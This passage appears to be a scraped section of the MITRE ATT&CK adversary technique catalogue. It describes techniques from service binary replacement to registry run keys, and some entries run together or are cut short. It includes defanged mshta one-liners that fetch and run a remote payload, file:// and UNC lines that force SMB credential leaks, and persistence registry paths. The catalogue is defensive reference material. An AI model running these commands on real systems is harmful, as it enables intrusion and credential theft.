### Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

### Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.9899
File and Directory DiscoveryDiscoveryT1083Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

### Windows

Example utilities used to obtain this information are dir and tree.100 Custom tools may also be used to gather file and directory information and interact with the Windows API.

### Mac and Linux

In Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.
Forced AuthenticationCredential AccessT1187The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. 101 This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.102103

There are different ways this can occur:

• A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.106
• A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.106
Graphical User InterfaceExecutionT1061Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.
Hidden Files and DirectoriesDefense Evasion
Persistence
T1158To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

### Windows

Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

### Linux/Mac

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name 107108. Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.

### Mac

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app109. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
HookingCredential Access
Persistence
Privilege Escalation
T1179Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:
• Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.1109
• Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored.9111112
• Inline hooking, which overwrites the first bytes in an API function to redirect code flow.9113112

Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access.114

Hooking is commonly utilized by Rootkits to conceal files,

processes, Registry keys, and other objects in order to hide malware and associated behaviors.115
HypervisorPersistenceT1062A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware.116 It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen.117 A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system.118 A malicious hypervisor of this nature could be used to persist on systems through interruption.
Image File Execution Options InjectionDefense Evasion
Persistence
Privilege Escalation
T1183Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”).119

IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool.120 IFEOs are represented as Debugger Values in the Registry under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/<executable> and  HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable>  where <executable> is the binary on which the debugger is attached.119

Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.9 Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications.121122
Indicator BlockingDefense EvasionT1054An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.
Indicator Removal from ToolsDefense EvasionT1066If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.
Indicator Removal on HostDefense EvasionT1070Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.
Input CaptureCollection
Credential Access
T1056Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes,123 but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider.124

Keylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.

Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.90
Install Root CertificateDefense EvasionT1130Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.125 Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.126

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.127
InstallUtilDefense Evasion
Execution
T1118InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.128 InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].129
LLMNR/NBT-NS PoisoningCredential AccessT1171Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name.130131

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.132133134
LSASS DriverExecution
Persistence
T1177The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.135 Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.
Logon ScriptsLateral Movement
Persistence
T1037===Windows===

Windows allows logon scripts to be run whenever a specific user or group of users log into a system.136 The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.

If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

### Mac

Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root137. There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.
Man in the BrowserCollectionT1185Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques.138

A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet.13919

Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication.140
MasqueradingDefense EvasionT1036Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.

### Windows

In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe.141 An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths.142

An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".

### Linux

Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. 143

An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". 144 145
Modify Existing ServicePersistenceT1031Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg. Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Modify RegistryDefense EvasionT1112Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification.146 Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).

The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system.147 Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.
Execution
T1170Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta.148 HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.149

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code150151152153154

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.155
Multi-Stage ChannelsCommand and ControlT1104Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.
Multi-hop ProxyCommand and ControlT1188To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
Multiband CommunicationCommand and ControlT1026Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.
Multilayer EncryptionCommand and ControlT1079An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.
NTFS Extended AttributesDefense EvasionT1096Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.156 The NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder.157
Netsh Helper DLLPersistenceT1128Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.158 The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe.159

Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs.160
Network Service ScanningDiscoveryT1046Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
Network Share Connection RemovalDefense EvasionT1126Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\system\share /delete command.161 Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
Network Share DiscoveryDiscoveryT1135Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

### Windows

File sharing over a Windows network occurs over the SMB protocol.162163

Net can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share.

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.

### Mac

On Mac, locally mounted shares can be viewed with the df -aH command.
Network SniffingCredential AccessT1040Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
New ServicePersistence
Privilege Escalation
T1050When operating systems boot up, they can start programs or applications called services that perform background system functions.164 A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
Obfuscated Files or InformationDefense EvasionT1027Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system. This is common behavior that can be used across different platforms to evade defenses. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.165
Office Application StartupPersistenceT1137Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.

### Office Template Macros

Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.166

Office Visual Basic for Applications (VBA) macros167 can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.168169

Word Normal.dotm location:C:\Users\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm

Excel Personal.xlsb location:C:\Users\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

### Office Test

A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started170

HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf

Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins.172
Pass the HashLateral MovementT1075Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.173
Pass the TicketLateral MovementT1097Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.174175

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).174

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.176
Password Filter DLLCredential AccessT1174Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.177
Path InterceptionPersistence
Privilege Escalation
T1034Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function.178

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

### Unquoted Paths

Service paths (stored in Windows Registry keys)179 and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe").180 An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program.

### PATH Environment Variable Misconfiguration

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system "net" when "net" is executed from the command-line.

### Search Order Hijacking

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program.85181182 However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument net user. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT.183

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.
Peripheral Device DiscoveryDiscoveryT1120Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Permission Groups DiscoveryDiscoveryT1069Adversaries may attempt to find local system or domain-level groups and permissions settings.

### Windows

Examples of commands that can list groups are net group /domain and net localgroup using the Net utility.

### Mac

On Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.

### Linux

On Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.
Port MonitorsPersistence
Privilege Escalation
T1013A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.184 This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.185 Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. The Registry key contains entries for the following:
• Local Port
• Standard TCP/IP Port
• USB Monitor
• WSD Port
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.
PowerShellExecutionT1086PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.186 Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including Empire,187 PowerSploit,188 and PSAttack.189
Private KeysCredential AccessT1145Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.190

Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\Users\(username)\.ssh\ on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.191192
Process DiscoveryDiscoveryT1057Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.

### Windows

An example command that would obtain details on processes is "tasklist" using the Tasklist utility.

### Mac and Linux

In Mac and Linux, this is accomplished with the ps command.
Process DoppelgängingDefense EvasionT1186Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.193 To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.194 To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.195

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.196

Adversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.196

Process Doppelgänging is implemented in 4 steps196:

• Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
• Load – Create a shared section of memory and load the malicious executable.
• Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
• Animate – Create a process from the tainted section of memory and initiate execution.
Process HollowingDefense EvasionT1093Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis.1979
Process InjectionDefense Evasion
Privilege Escalation
T1055Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

### Windows

There are multiple approaches to injecting code into a live process. Windows implementations include:9

• Dynamic-link library (DLL) injection involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.
• Portable executable injection involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.198
• Thread execution hijacking involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.
• Asynchronous Procedure Call (APC) injection involves attaching malicious code to the APC Queue199 of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing 200 is a variation that utilizes APCs to invoke malicious code previously written to the global atom table.201
• Thread Local Storage (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point.202

### Mac and Linux

Implementations for Linux and OS X/macOS systems include:203204

• LD_PRELOAD, LD_LIBRARY_PATH (Linux), DYLD_INSERT_LIBRARIES (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process.205
• Ptrace system calls can be used to attach to a running process and modify it in runtime.204
• /proc/[pid]/mem provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity.204
• VDSO hijacking performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object.206
Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
Query RegistryDiscoveryT1012Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. The Registry contains a significant amount of information about the operating system, configuration, software, and security.207 Some of the information may help adversaries to further their operation within a network.
Redundant AccessDefense Evasion
Persistence
Registry Run Keys / Start FolderPersistenceT1060Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.209 The program will be executed under the context of the user and will have the account's associated permissions level. Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Regsvcs/RegasmDefense Evasion
Execution
